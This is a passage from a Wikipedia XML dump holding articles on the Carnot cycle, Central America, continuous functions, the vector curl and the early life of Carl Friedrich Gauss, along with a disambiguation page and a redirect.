The efficiency &lt;math&gt;\eta&lt;/math&gt; is defined to be the amount of work divided by the heat transferred between the system and the hot reservoir (T in absolute temperature units, Kelvins):

:&lt;math&gt;\eta=\frac{\Delta W}{\Delta Q_H}=1-\frac{T_C}{T_H}
\quad\quad\quad\quad\quad\quad\quad\quad\quad(3)&lt;/math&gt;

This efficiency makes sense for a [[heat engine]], since it is the fraction of the heat energy extracted from the hot reservoir and converted to mechanical work. It also makes sense for a refrigeration cycle, since it is the ratio of energy input to the refrigerator divided by the amount of energy extracted from the hot reservoir.
&lt;!---------------------------------------------------------------------&gt;

===Carnot's theorem===

It can be seen from the above diagram, that for any cycle operating between temperatures &lt;math&gt;T_H&lt;/math&gt; and &lt;math&gt;T_C&lt;/math&gt;, none can exceed the efficiency of a Carnot cycle.

[[Image:Real_vs_Carnot.jpg|500px|thumb|right|A real engine (left) compared to the Carnot cycle (right). The entropy of a real material changes with temperature. This change is indicated by the curve on a T-S diagram. For this figure, the curve indicates a vapor-liquid equilibrium (''See [[Rankine cycle]]''). Irreversible systems and losses of heat (for example, due to friction) prevent the ideal from taking place at every step.]]


'''Carnot's theorem''' is a formal statement of this fact: ''No engine operating between two heat reservoirs can be more efficient than a Carnot engine operating between the same reservoirs.'' Thus, Equation 3 gives the maximum efficiency possible for any engine using the corresponding temperatures.  A corollary to Carnot's theorem states that: ''All reversible engines operating between the same heat reservoirs are equally efficient.''  So Equation 3 gives the efficiency of any [[Reversible process|reversible]] [[heat engine]].

===Efficiency of real heat engines===
Carnot realised that in reality it is not possible to build a [[Thermodynamic reversibility|thermodynamically reversible]] engine, so real heat engines are less efficient than indicated by Equation 3.  Nevertheless, Equation 3 is extremely useful for determining the maximum efficiency that could ever be expected for a given set of thermal reservoirs.

Although '''Carnot's cycle''' is an idealisation, the expression 
of Carnot efficiency is still useful. Consider the [[average]] temperatures,

:    ''&lt;T&lt;sub&gt;H&lt;/sub&gt;&gt;''&lt;math&gt; = \frac{1}{\Delta S} \int_{Q_{in}} TdS &lt;/math&gt;

:    ''&lt;T&lt;sub&gt;C&lt;/sub&gt;&gt;''&lt;math&gt; = \frac{1}{\Delta S} \int_{Q_{out}} TdS &lt;/math&gt;

at which heat is input and output, respectively.  Replace ''T&lt;sub&gt;H&lt;/sub&gt;'' and ''T&lt;sub&gt;C&lt;/sub&gt;'' in Equation (3) by &lt;''T&lt;sub&gt;H&lt;/sub&gt;''&gt; and &lt;''T&lt;sub&gt;C&lt;/sub&gt;''&gt; respectively.

For the Carnot cycle, or its equivalent, &lt;''T&lt;sub&gt;H&lt;/sub&gt;''&gt; is the highest temperature available and &lt;''T&lt;sub&gt;C&lt;/sub&gt;''&gt; the lowest. For other less efficient cycles, &lt;''T&lt;sub&gt;H&lt;/sub&gt;''&gt; will be lower than ''T&lt;sub&gt;H&lt;/sub&gt;'' , and &lt;''T&lt;sub&gt;C&lt;/sub&gt;''&gt; will be higher than ''T&lt;sub&gt;C&lt;/sub&gt;''. This can help illustrate, for example, why a [[reheater]] or a [[regenerator]] can improve thermal efficiency.

:''See also: [[Heat Engine#Efficiency|Heat Engine (efficiency]] and [[Heat Engine#Other criteria of heat engine performance|other performance criteria)]]''

==References==
*{{cite book | author = Kroemer, Herbert; Kittle, Charles | title = Thermal Physics | edition = 2nd ed. | publisher = W. H. Freeman Company | year = 1980 | id = ISBN 0716710889 }}

==External links==
*[http://www.phy.ntnu.edu.tw/java/carnot/carnot.html An animation of the Carnot cycle] as a [[java applet]]
*[http://arxiv.org/pdf/physics/0004055 The Carnot cycle as a means by which to scale temperature-dependent changes in entropy to volume-dependent changes in entropy.]

[[Category:Thermodynamics]]
[[Category:Heat]]
[[Category:Thermodynamic cycles]]

[[cs:Carnotův cyklus]]
[[de:Carnot-Prozess]]
[[es:Máquina de Carnot]]
[[eo:Ciklo de Carnot]]
[[fr:Cycle de Carnot]]
[[he:מנוע קרנו]]
[[nl:Carnotcyclus]]
[[ja:カルノーサイクル]]
[[pl:Cykl Carnota]]
[[sk:Carnotov cyklus]]
[[sl:Carnotov izrek]]
[[th:เครื่องจักรความร้อนการ์โนต์]]
[[zh:卡诺循环]]</text>
    </revision>
  </page>
  <page>
    <title>Context-sensitive</title>
    <id>6119</id>
    <revision>
      <id>25756556</id>
      <timestamp>2005-10-17T18:14:52Z</timestamp>
      <contributor>
        <username>Helix84</username>
        <id>111631</id>
      </contributor>
      <comment>{{disambig}}</comment>
      <text xml:space="preserve">'''Context-sensitive''' is an adjective meaning &quot;depending on context&quot; or &quot;depending on circumstances&quot;.

See:
* [[Context-sensitive grammar]]
* [[Context-sensitive help]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Classical Architecture</title>
    <id>6120</id>
    <revision>
      <id>15904281</id>
      <timestamp>2002-05-20T22:07:18Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[Classical architecture]]</comment>
      <text xml:space="preserve">#redirect [[Classical architecture]]</text>
    </revision>
  </page>
  <page>
    <title>Central America</title>
    <id>6121</id>
    <revision>
      <id>41906764</id>
      <timestamp>2006-03-02T14:58:12Z</timestamp>
      <contributor>
        <username>E Pluribus Anthony</username>
        <id>266462</id>
      </contributor>
      <minor />
      <comment>rv horrid table additions</comment>
      <text xml:space="preserve">[[image:CentAmerica.jpg|right|360px|thumb|Map of Central America]]
'''Central America''' is the southern region of [[North America]], beginning south of the [[Gulf of Mexico]] (the exact location is defined variously) and ending at the border between [[Panama]] and [[Colombia]]. In the most common definition, it consists of the nations between [[Mexico]] and [[Colombia]]:

*[[Belize]]
*[[Costa Rica]]
*[[El Salvador]]
*[[Guatemala]]
*[[Honduras]]
*[[Nicaragua]]
*[[Panama]]

It may also be defined [[geography|geographically]] as a large [[isthmus]] and, in this sense, it includes the portion of Mexico east of the [[Isthmus of Tehuantepec]] – namely the Mexican states of [[Campeche (state)|Campeche]], [[Chiapas]], [[Quintana Roo]], [[Tabasco]], and [[Yucatán]].  The [[United Nations|UN]] [[subregion]] of Central America includes all mainland states of North America south of the [[United States]], including Mexico, while the [[European Union]] sees the region as including Panama but excluding Belize and Mexico.

== Geography ==
Central America thus has an area of about 540,000 km&amp;sup2; (208,500 mi&amp;sup2;), and a width between the [[Pacific Ocean]] and the [[Caribbean Sea]] ranging from about 560 km to about 50 km (350 to 30 mi).

[[Image:Tectonic plates Caribbean.png|thumb|right|[[Central America]] and the [[Caribbean Plate]].]]
The geology of Central America is active, with [[volcanic eruption]]s and [[earthquake]]s occurring from time to time.  In [[1931]] and [[1972]] earthquakes devastated [[Managua]], the capital of [[Nicaragua]].  Fertile soils from weathered volcanic lavas have made it possible to sustain dense populations in the agriculturally productive highland areas.  The [[Caribbean Plate]] is a tectonic plate upon which Central America rests.

The narrowest part of [[The Americas]], Central America is the site of the [[Panama Canal]] as well as the proposed, but never-completed [[Nicaragua Canal]].

== History ==
{{main|History of Central America}}
There was a nation of '''Central America''' in the early [[19th century]], consisting of the present day nations of Guatemala, Honduras, El Salvador, Nicaragua, and Costa Rica (and a portion of the modern Mexican state of Chiapas). This was sometimes known as the '''United Provinces of Central America''' or the '''[[United States of Central America]]'''.

==See also==
* [[Americas (terminology)]]
* The related term [[Mesoamerica]] (occasionally also called [[Middle America (disambiguation)|Middle America]]) is used in [[English language|English]] mostly restricted to referring to the [[Pre-Columbian]] [[Native American (Americas)|Native American]] cultures of this region, which extended from central Mexico to northern [[Costa Rica]].
* [[Central American Parliament]]
*[[Amputee Soccer Championship, Central America]]

==External links==
* [http://www.fssca.net/ Foundation for Self-Sufficiency in Central America] 

{{Region}}

[[Category:Americas]]
[[Category:North America]]
[[Category:Central America| ]]

[[ast:América Central]]
[[zh-min-nan:Tiong Bí-chiu]]
[[ca:Amèrica Central]]
[[da:Mellemamerika]]
[[de:Mittelamerika]]
[[el:Κεντρική Αμερική]]
[[es:América Central]]
[[eo:Centra Ameriko]]
[[fa:آمریکای مرکزی]]
[[fr:Amérique centrale]]
[[ko:중앙아메리카]]
[[id:Amerika Tengah]]
[[it:America Centrale]]
[[he:אמריקה המרכזית]]
[[lt:Centrinė Amerika]]
[[nl:Midden-Amerika]]
[[nds:Middelamerika]]
[[ja:中央アメリカ]]
[[no:Mellom-Amerika]]
[[pl:Ameryka Środkowa]]
[[pt:América Central]]
[[ru:Центральная Америка]]
[[simple:Central America]]
[[sl:Srednja Amerika]]
[[sr:Централна Америка]]
[[th:อเมริกากลาง]]
[[fi:Keski-Amerikka]]
[[zh:中美洲]]</text>
    </revision>
  </page>
  <page>
    <title>Continuous function</title>
    <id>6122</id>
    <revision>
      <id>41270413</id>
      <timestamp>2006-02-26T04:59:13Z</timestamp>
      <contributor>
        <username>Bloodshedder</username>
        <id>20963</id>
      </contributor>
      <minor />
      <comment>main template</comment>
      <text xml:space="preserve">In [[mathematics]], a '''continuous function''' is a [[function (mathematics)|function]] in which arbitrarily small [[change]]s in the [[input]] produce arbitrarily small changes in the [[output]]. If small changes in the input can produce a broken jump in the changes of the output (or the value of the output is not defined), the function is said to be '''discontinuous''' (or to have a '''discontinuity'''). The context in this entry is real-valued functions on the real domain or on topological or metric spaces other than the complex numbers; for complex-valued functions see [[complex analysis]]. The notable difference in approach is that in the present context, the points in the [[domain]] that would be regarded as singularities (points of discontinuity) in the complex domain are usually assumed to be absent, or they are explicitly excluded, so as to leave a function that is continuous on a disconnected real domain.

As an example, consider the function ''h''(''t'') which describes the [[height]] of a growing flower at time ''t''. This function is continuous (unless the flower is cut). As another example, if ''T''(''x'') denotes the air temperature at height ''x'', then this function is also continuous. In fact, there is a dictum of [[classical physics]] which states that ''in nature everything is continuous''. By contrast, if ''M''(''t'') denotes the amount of money in a bank account at time ''t'', then the function jumps whenever money is deposited or withdrawn, so the function ''M''(''t'') is discontinuous.

There are also some more special usages of continuity in some mathematical disciplines. Probably the most common one, found in [[topology]], is described in the article on [[continuity (topology)]]. In [[order theory]], especially in [[domain theory]], one considers a notion derived from this basic definition, which is known as [[Scott continuity]].

== Real-valued continuous functions ==
Suppose we have a function that maps [[real number]]s to real numbers and whose [[domain (mathematics)|domain]] is some [[interval (mathematics)|interval]], like the three functions ''h'', ''T'' and ''M'' from above. Such a function can be represented by a [[graph of a function|graph]] in the [[Cartesian coordinate system|Cartesian plane]]; the function is continuous if, roughly speaking, the graph is a single unbroken [[curve]] with no &quot;holes&quot; or &quot;jumps&quot;: if it can be drawn by hand without lifting the pencil from the paper.

To be more precise, we say that the function ''f'' is continuous at some [[point (geometry)|point]] ''c'' when the following two requirements are satisfied:
* ''f''(''c'') must be defined (i.e. ''c'' must be an element of the [[domain (mathematics)|domain]] of ''f'').
* The [[limit (mathematics)|limit]] of ''f''(''x'') as ''x'' approaches ''c'' must exist and be equal to ''f''(''c'').  (If the point ''c'' in the domain of ''f'' is not an [[accumulation point]] of the domain, then this condition is [[vacuous truth|vacuously true]], since ''x'' cannot approach ''c''.  Thus, for example, every function whose domain is the set of all integers is continuous, merely for lack of opportunity to be otherwise.) 

We call the function '''everywhere continuous''', or simply '''continuous''', if it is continuous at every point of its [[domain (mathematics)|domain]].  More generally, we say that a function is continuous on some [[subset]] of its domain if it is continuous at every point of that subset.

=== Epsilon-delta definition ===
Without resorting to limits, one can define continuity of real functions as follows.

Again consider a function ''f'' that maps a set of [[real numbers]] to another set of real numbers, and suppose ''c'' is an element of the domain of ''f''. The function ''f'' is said to be continuous at the point ''c'' if (and only if) the following holds: For any number ε &gt; 0 however small, there exists some number δ &gt; 0 such that for all ''x'' in the domain with ''c''&amp;nbsp;&amp;minus;&amp;nbsp;δ &lt; ''x'' &lt; ''c''&amp;nbsp;+&amp;nbsp;δ, the value of ''f''(''x'') will satisfy ''f''(''c'')&amp;nbsp;&amp;minus;&amp;nbsp;ε &lt; ''f''(''x'') &lt; ''f''(''c'')&amp;nbsp;+&amp;nbsp;ε.

Alternatively written:  Given &lt;math&gt;I,D\subset\mathbb{R}&lt;/math&gt; (that is, ''I'' and ''D'' are subsets of the [[real number]]s), continuity of &lt;math&gt;f:I \to D&lt;/math&gt; (read &lt;math&gt;f&lt;/math&gt; maps ''I'' into ''D'') at &lt;math&gt;c\in\mathbb{R}&lt;/math&gt; means that for all &lt;math&gt;\varepsilon&gt;0&lt;/math&gt; there exists a &lt;math&gt;\delta&gt;0&lt;/math&gt; such that &lt;math&gt;|x-c|&lt;\delta&lt;/math&gt; and &lt;math&gt;x\in I&lt;/math&gt; imply  that &lt;math&gt;|f(x)-f(c)|&lt;\varepsilon.&lt;/math&gt;

This &quot;epsilon-delta definition&quot; of continuity was first given by [[Augustin-Louis Cauchy|Cauchy]]. 

More intuitively, we can say that if we want to get all the ''f''(''x'') values to stay in some small [[topological neighbourhood|neighborhood]] around ''f''(''c''), we simply need to choose a small enough neighborhood for the ''x'' values around ''c'', and we can do that no matter how small the ''f''(''x'') neighborhood is; ''f''(''x'') is then continuous at ''c''.

=== Heine definition of continuity ===
The following definition of continuity is due to [[Eduard Heine|Heine]].

:A real function &lt;math&gt;f&lt;/math&gt; is continuous if for any sequence &lt;math&gt;(x_n)&lt;/math&gt; such that
::&lt;math&gt;\lim\limits_{n\to\infty} x_n=x_0,&lt;/math&gt; 
:it holds that
::&lt;math&gt;\lim\limits_{n\to\infty} f(x_n)=f(x_0).&lt;/math&gt;
:(We assume that all points &lt;math&gt;x_n&lt;/math&gt;, &lt;math&gt;x_0&lt;/math&gt; belong to the domain of &lt;math&gt;f&lt;/math&gt;.)

One can say briefly, that a function is continuous if and only if it preserves limits.

Cauchy's and Heine's definition of continuity are equivalent. The usual (easier) proof makes use of the [[axiom of choice]], but in the case of global continuity of real functions it was proved by [[Wacław Sierpiński]] that the axiom of choice is not actually needed. [http://www.apronus.com/math/cauchyheine.htm]

In more general setting of topological spaces, the concept analogous to Heine definition of continuity is called ''sequential continuity''. In general, sequential continuity is not equivalent to the analogue of Cauchy continuity, which is just called ''continuity'' (see [[continuity (topology)]] for details).

=== Examples ===
* All [[polynomial]]s are continuous.
* If a function has a domain which is not an interval, the notion of a continuous function as one whose graph you can draw without taking your pencil off the paper is not quite correct.  Consider the functions ''f''(''x'')=1/''x'' and ''g''(''x'')=(sin ''x'')/''x''.  Neither function is defined at ''x''=0, so each has domain '''R'''\{0}, and each function is continuous.  The question of continuity at ''x''=0 does not arise, since it is not in the domain.  The function ''f'' cannot be extended to a continuous function whose domain is '''R''', since no matter what value is assigned at 0, the resulting function will not be continuous.  On the other hand, since the limit of ''g'' at 0 is 1, ''g'' can be extended continuously to '''R''' by defining its value at 0 to be 1.  A point in the domain that can filled in so that the resulting function is continuous is called a [[removable singularity]].  Whether this can be done is not the same as continuity.
* The [[rational function]]s, [[exponential function]]s, [[logarithm]]s, [[square root]] function, [[trigonometric function]]s and [[absolute value]] function are continuous.
* An example of a discontinuous function is the function ''f'' defined by ''f''(''x'') = 1 if ''x'' &gt; 0, ''f''(''x'') = 0 if ''x'' ≤ 0. Pick for instance ε = 1/2. There is no δ-neighborhood around ''x''=0 that will force all the ''f''(''x'') values to be within ε of ''f''(0). Intuitively we can think of this type of discontinuity as a sudden jump in function values.
* Another example of a discontinuous function is the [[sign function]].
* A more complicated example of a discontinuous function is the [[popcorn function]].

=== Facts about continuous functions ===
If two functions ''f'' and ''g'' are continuous, then ''f'' + ''g'' and ''fg'' are continuous. If ''g''(''x'') ≠ 0 for all ''x'' in the domain, then ''f/g'' is also continuous. 

The [[Function composition|composition]] ''f'' o ''g'' of two continuous functions is continuous.

The [[intermediate value theorem]] is an [[existence theorem]], based on the real number property of [[completeness]], and states: &quot;If the real-valued function ''f'' is continuous on the [[interval (mathematics)|closed interval]] [''a'', ''b''] and ''k'' is some number between ''f''(''a'') and ''f''(''b''), then there is some number ''c'' in [''a'', ''b''] such that ''f''(''c'') = ''k''. For example, if a child undergoes continuous growth from 1[[metre|m]] to 1.5m between the ages of 2 years and 6 years, then, at some time between 2 years and 6 years of age, the child's height must have been 1.25m. 

As a consequence, if ''f'' is continuous on [''a'', ''b''] and ''f''(''a'') and ''f''(''b'') differ in [[sign]], then, at some point ''c'', ''f''(''c'') must equal [[0 (number)|zero]]. 

[[Extreme value theorem]]: if a function ''f'' is defined on a closed interval [''a'',''b''] (or any closed and bounded set) and is continuous there, then the function attains its maximum, i.e. there exists ''c''&amp;nbsp;∈&amp;nbsp;[''a'',''b''] with ''f''(''c'') ≥ ''f''(''x'') for all ''x''&amp;nbsp;∈&amp;nbsp;[''a'',''b'']. The same is true of the minimum of ''f''. These statements are false if the function is defined on an open interval (''a'',''b'') (or any set that is not both closed and bounded), as for example the continuous function ''f''(''x'') = 1/''x'' defined on the open interval (0,1).

If a function is [[derivative|differentiable]] at some point ''c'' of its domain, then it is also continuous at ''c''. The converse is not true: a function that's continuous at ''c'' need not be differentiable there. Consider for instance the [[absolute value]] function at ''c''&amp;nbsp;=&amp;nbsp;0.

== Continuous functions between metric spaces ==
Now consider a function ''f'' from one [[metric space]] (''X'', d&lt;sub&gt;''X''&lt;/sub&gt;) to another metric space (''Y'', d&lt;sub&gt;''Y''&lt;/sub&gt;). Then ''f'' is continuous at the point ''c'' in ''X'' if for any positive real number ε, there exists a positive real number δ such that all ''x'' in ''X'' satisfying d&lt;sub&gt;''X''&lt;/sub&gt;(''x'', ''c'') &lt; δ will also satisfy d&lt;sub&gt;''Y''&lt;/sub&gt;(''f''(''x''), ''f''(''c'')) &lt; ε.

This can also be formulated in terms of [[sequence]]s and [[limit (mathematics)|limits]]: the function ''f'' is continuous at the point ''c'' if for every sequence (''x''&lt;sub&gt;''n''&lt;/sub&gt;) in ''X'' with limit lim ''x''&lt;sub&gt;''n''&lt;/sub&gt; = ''c'', we have lim ''f''(''x''&lt;sub&gt;''n''&lt;/sub&gt;) = ''f''(''c''). ''Continuous functions transform limits into limits.''

This latter condition can be weakened as follows: ''f'' is continuous at the point ''c'' if and only if for every convergent sequence (''x''&lt;sub&gt;''n''&lt;/sub&gt;) in ''X'' with limit ''c'', the sequence (''f''(''x''&lt;sub&gt;''n''&lt;/sub&gt;)) is a [[Cauchy sequence]]. ''Continuous functions transform convergent sequences into Cauchy sequences.''

== Continuous functions between topological spaces ==
{{main|continuity (topology)}}

The above definitions of continuous functions can be generalized to functions from one [[topological space]]s to another in a natural way; a function ''f'' : ''X'' → ''Y'', where ''X'' and ''Y'' are topological spaces, is continuous [[iff]] for every [[open set]] ''V'' ⊆ ''Y'', ''f''&lt;sup&gt; &amp;minus;1&lt;/sup&gt;(''V'') is open in ''X''.

== Continuous functions between partially ordered sets ==
In [[order theory]], continuity of a function between [[Partially ordered sets|posets]] is [[Scott continuity]]. Let ''X'' be a [[complete lattice]], then a function ''f'':''X'' → ''X'' is continuous if, for each subset ''Y'' of ''X'', we have sup ''f''(''Y'')=''f''(sup ''Y'')).

== See also ==
* [[semicontinuity]]
* [[classification of discontinuities]]
* [[uniform continuity]]
* [[absolute continuity]]
* [[equicontinuity]]
* [[Lipschitz continuity]]
* [[Scott continuity]]
* [[normal function]]
* [[bounded linear operator]]
* [[limit (category theory)|continuous functor]]

==References==
*[http://archives.math.utk.edu/visual.calculus/ Visual Calculus] by Lawrence S. Husch, [[University of Tennessee]] ([[2001]])

[[Category:Calculus]]
[[Category:General topology]]

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  <page>
    <title>Curl</title>
    <id>6123</id>
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      <text xml:space="preserve">:''This article is about curl in [[mathematics]], see also [[Curl programming language]] and [[CURL|cURL]],  the Unix command line tool for transferring files.''

In [[vector calculus]], '''curl''' is a [[vector operator]] that shows a [[vector field]]'s rate of [[rotation]]: the direction of the axis of rotation and the [[magnitude (mathematics)|magnitude]] of the rotation. It can also be described as the '''[[Circulation (fluid dynamics)|circulation]] density'''.

&quot;Rotation&quot; and &quot;circulation&quot; are used here for properties of a vector function of position; they are not about changes with time.

A vector field which has zero curl everywhere is called [[irrotational vector field|irrotational]].

In mathematics the curl is noted by:
:&lt;math&gt;\nabla \times F&lt;/math&gt;

where &lt;math&gt;\nabla&lt;/math&gt; is the vector [[differential operator]] [[del]], and ''F'' is the vector field to which the curl is being applied. 

Expanded in [[Cartesian coordinate system|Cartesian coordinates]], &lt;math&gt;\nabla \times F&lt;/math&gt; is, for ''F'' composed of [''F''&lt;sub&gt;''x''&lt;/sub&gt;, ''F''&lt;sub&gt;''y''&lt;/sub&gt;, ''F''&lt;sub&gt;''z''&lt;/sub&gt;]:

:&lt;math&gt;\begin{bmatrix}
{\frac{\partial F_z}{\partial y}} - {\frac{\partial F_y}{\partial z}} \\  \\
{\frac{\partial F_x}{\partial z}} - {\frac{\partial F_z}{\partial x}}\\  \\
{\frac{\partial F_y}{\partial x}} - {\frac{\partial F_x}{\partial y}}
\end{bmatrix}&lt;/math&gt;

Although expressed in terms of coordinates, the result is invariant under proper rotations of the coordinate axes. However, the result inverses under reflection. 

A simple way to remember the expanded form of the curl is to think of it as:

:&lt;math&gt;\begin{bmatrix}
{\frac{\partial}{\partial x}} \\  \\
{\frac{\partial}{\partial y}} \\  \\
{\frac{\partial}{\partial z}}
\end{bmatrix} \times F&lt;/math&gt;

that is, del [[cross product|cross]] ''F'', or as the [[determinant]] of the following matrix:

:&lt;math&gt;\begin{bmatrix} \mathbf{i} &amp; \mathbf{j} &amp; \mathbf{k} \\  \\
{\frac{\partial}{\partial x}} &amp; {\frac{\partial}{\partial y}} &amp; {\frac{\partial}{\partial z}} \\
 \\  F_x &amp; F_y &amp; F_z \end{bmatrix}&lt;/math&gt;

where '''i''', '''j''', and '''k''' are the [[unit vector]]s for the ''x''-, ''y''-, and ''z''-axes, respectively.

In [[Einstein notation]], with the [[Levi-Civita symbol]] it is written as:

:&lt;math&gt;(\nabla \times F)_k = \epsilon_{k\ell m} \partial_\ell F_m&lt;/math&gt;

Using the [[exterior derivative]], it is written simply as:

:&lt;math&gt;dF\,&lt;/math&gt;

Note that taking the exterior derivative of a vector field does not result in another vector field, but a [[2-form]] or [[bivector]] field, properly written as &lt;math&gt;P\,(dx \wedge dy) + Q\,(dy \wedge dz) + R\,(dz \wedge dx) &lt;/math&gt;. However, since bivectors are generally considered less intuitive than ordinary vectors, the '''R'''&lt;sup&gt;3&lt;/sup&gt;-[[dual]] &lt;math&gt;*dF\,&lt;/math&gt; is commonly used instead (where &lt;math&gt;*\,&lt;/math&gt; denotes the [[Hodge star]] operator).  This is a [[chiral operation]], producing a [[pseudovector]] that takes on opposite values in left-handed and right-handed [[coordinate system]]s.

==Examples==

* In a [[tornado]] the winds are rotating about the eye, and a vector field showing wind velocities would have a non-zero curl at the eye, and possibly elsewhere (see [[vorticity]]).
* In a vector field that describes the linear velocities of each individual part of a rotating disk, the curl will have a [[mathematical constant|constant]] value on all parts of the disk.
* If velocities of cars on a freeway were described with a vector field, and the lanes had different speed limits, the curl on the borders between lanes would be non-zero.
* [[Faraday's law of induction]], one of [[Maxwell's equations]], can be expressed very simply using curl. It states that the curl of an electric field is equal to the opposite of the time rate of change of the magnetic flux density.

== See also ==
*[[Gradient]]
*[[Divergence]]
*[[Nabla in cylindrical and spherical coordinates]]

[[Category:Vector calculus]]

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  <page>
    <title>Carl Friedrich Gauss</title>
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      <text xml:space="preserve">{{Infobox Celebrity
| name        =Johann Carl Friedrich Gauss
| image       = Gauss.jpg
| caption     = 
| birth_date  = [[April 30]], [[1777]]
| birth_place = [[Braunschweig|Brunswick]], [[Germany]]
| death_date  = [[February 23]], [[1855]]
| death_place = [[Göttingen]], [[Hanover (state)|Hanover]], Germany
| occupation  = [[Mathematician]] and [[scientist]]
| salary      = 
| networth    = 
| spouse      =
| website     =
| footnotes   = 
}}
{{Audio|De-carlfriedrichgauss.ogg|'''Carl Friedrich Gauss (Gauß)'''}} ([[April 30]], [[1777]] – [[February 23]], [[1855]]) was a [[Germany|German]] [[mathematician]] and [[scientist]] of profound [[genius]] who contributed significantly to many fields, including [[number theory]], [[mathematical analysis|analysis]], [[differential geometry]], [[geodesy]], [[magnetism]], [[astronomy]] and [[optics]]. Sometimes known as &quot;the prince of mathematicians&quot;, Gauss had a remarkable influence in many fields of mathematics and science and is ranked beside [[Leonhard Euler|Euler]], [[Isaac Newton|Newton]] and [[Archimedes]] as one of history's greatest mathematicians. (Gauss himself held that honor belonged rather to his student [[Ferdinand Eisenstein]].)

Gauss was a [[child prodigy]], of whom there are many anecdotes pertaining to his astounding precocity while a mere toddler, and made his first ground-breaking mathematical discoveries while still a teenager. He completed ''[[Disquisitiones Arithmeticae]]'', his [[magnum opus]], at the age of twenty-four. This work was fundamental in consolidating number theory as a discipline and has shaped the field to the present day.

==Biography==
===Early years===
[[Image:Gauss Statue.jpg|100px|left|thumb|Statue of Gauss in Brunswick]]
Gauss was born in [[Braunschweig|Brunswick]], in the Duchy of [[Brunswick-Lüneburg]] (now part of [[Lower Saxony]], [[Germany]]), as the only son of uneducated lower-class  parents. According to legend, his gifts became apparent at the age of three when he corrected, in his head, an error his father had made on paper while calculating finances.  Another story has it that in [[elementary school]] his teacher tried to occupy pupils by making them add up the [[integer]]s from 1 to 100. The young Gauss produced the correct answer within seconds by a flash of mathematical insight, to the astonishment of all. Gauss had realized that pairwise addition of terms from opposite ends of the list yielded identical intermediate sums: 1 + 100 = 101, 2 + 99 = 101, 3 + 98 = 101, and so on, for a total sum of 50 × 101 = 5050 (''see [[arithmetic series]] and [[summation]]''). While the story is mostly true, the problem assigned by Gauss's teacher was actually a more difficult one. [http://mathforum.org/social/articles/ross.html]

The [[Karl Wilhelm Ferdinand, Duke of Brunswick-Luneburg|Duke of Brunswick]] awarded Gauss a fellowship to the Collegium Carolinum, which he attended from 1792 to 1795, and from there went on to the [[University of Göttingen]] from 1795 to 1798. While in college, Gauss independently rediscovered several important theorems; his breakthrough occurred in 1796 when he was able to show that any regular [[polygon]] with a number of sides which is a [[Fermat prime]] (and, consequently, those polygons with any number of sides which is the  product of distinct Fermat primes and a [[exponentiation|power]] of [[2 (number)|2]]) can be constructed by [[ruler and compass]]. This was a major discovery in an important field of mathematics; construction problems had occupied mathematicians since the days of the [[Ancient Greece|Ancient Greeks]]. Gauss was so pleased by this result that he requested that a regular [[heptadecagon]] be inscribed on his [[tomb stone|tombstone]]. The stonemason declined, stating that the difficult construction would essentially look like a circle.

1796 was probably the most productive year for both Gauss and number theory. The construction of the heptadecagon was discovered on [[March 30]]. He invented [[modular arithmetic]], a discovery that made working on [[number theory]] a great deal easier. His famous [[quadratic reciprocity]] law was discovered on [[April 8]]. This remarkably general law allows mathematicians to determine the solvability of any quadratic equation in modular arithmetic. The [[prime number theorem]], conjectured on [[May 31]], gives a good understanding of how the [[prime numbers]] are distributed among the integers. Gauss also discovered that every positive integer is representable as a sum of at most three [[triangular numbers]] on [[July 10]] and then jotted down in his diary the famous words, &quot;[[Eureka|Heureka]]! num=
&lt;math&gt;\Delta+
\Delta+\Delta&lt;/math&gt;.&quot; On [[October 1]] he published a result on the number of solutions of polynomials with coefficients in finite fields (this ultimately led to the [[Weil conjectures]] 150 years later).

===Middle years===
[[Image:Disqvisitiones-800.jpg|thumb|Title page of Gauss' ''[[Disquisitiones Arithmeticae]]'']]

In his 1799 dissertation, Gauss gave a proof of the [[fundamental theorem of algebra]]. This important theorem states that every [[polynomial]] over the complex numbers must have at least one [[root (mathematics)|root]]. Other mathematicians had tried to prove this before him, e.g. [[Jean le Rond d'Alembert]].  Gauss' dissertation contained a critique of d'Alembert's proof, but his own attempt would not be accepted due to implicit use of the [[Jordan curve theorem]].  Gauss over his lifetime produced three more proofs, probably due in part to this rejection of his dissertation; his last proof in 1849 is generally considered rigorous by today's standard. His attempts clarified the concept of [[complex number]]s considerably along the way.

Gauss also made important contributions to [[number theory]] with his 1801 book ''[[Disquisitiones Arithmeticae]]'', which contained a clean presentation of [[modular arithmetic]] and the first proof of the law of [[quadratic reciprocity]]. In that same year, [[Italy|Italian]] astronomer [[Giuseppe Piazzi]] discovered the [[planetoid]] [[1 Ceres|Ceres]], but could only watch it for a few days. Gauss predicted correctly the position at which it could be found again, and it was rediscovered by [[Franz Xaver von Zach]] on [[December 31]], [[1801]] in [[Gotha (town)|Gotha]], and one day later by [[Heinrich Wilhelm Matthäus Olbers|Heinrich Olbers]] in [[Bremen (city)|Bremen]]. Zach noted that &quot;without the intelligent work and calculations of Doctor Gauss we might not have found Ceres again.&quot; Though Gauss had up to this point been supported by the stipend from the Duke, he doubted the security of this arrangement, and also did not believe pure mathematics to be important enough to deserve support. Thus he sought a position in astronomy, and in 1807 was appointed Professor of Astronomy and Director of the astronomical observatory in [[Göttingen]], a post he held for the remainder of his life.

The discovery of [[1 Ceres|Ceres]] by [[Piazzi]] on January 1, 1801 led Gauss to his work on a theory of the motion of planetoids disturbed by large planets, eventually published in 1809 under the name ''Theoria motus corporum coelestium in sectionibus conicis solem ambientum'' (theory of motion of the celestial bodies moving in conic sections around the sun). Piazzi had only been able to track Ceres for a couple of months, following it for three degrees across the night sky. Then it disappeared temporarily behind the glare of the Sun. Several months later, when Ceres should have reappeared, Piazzi couldn't locate it: the mathematical tools of the time weren't able to extrapolate a position from such a scant amount of data – three degrees represented less than 1% of the total orbit.

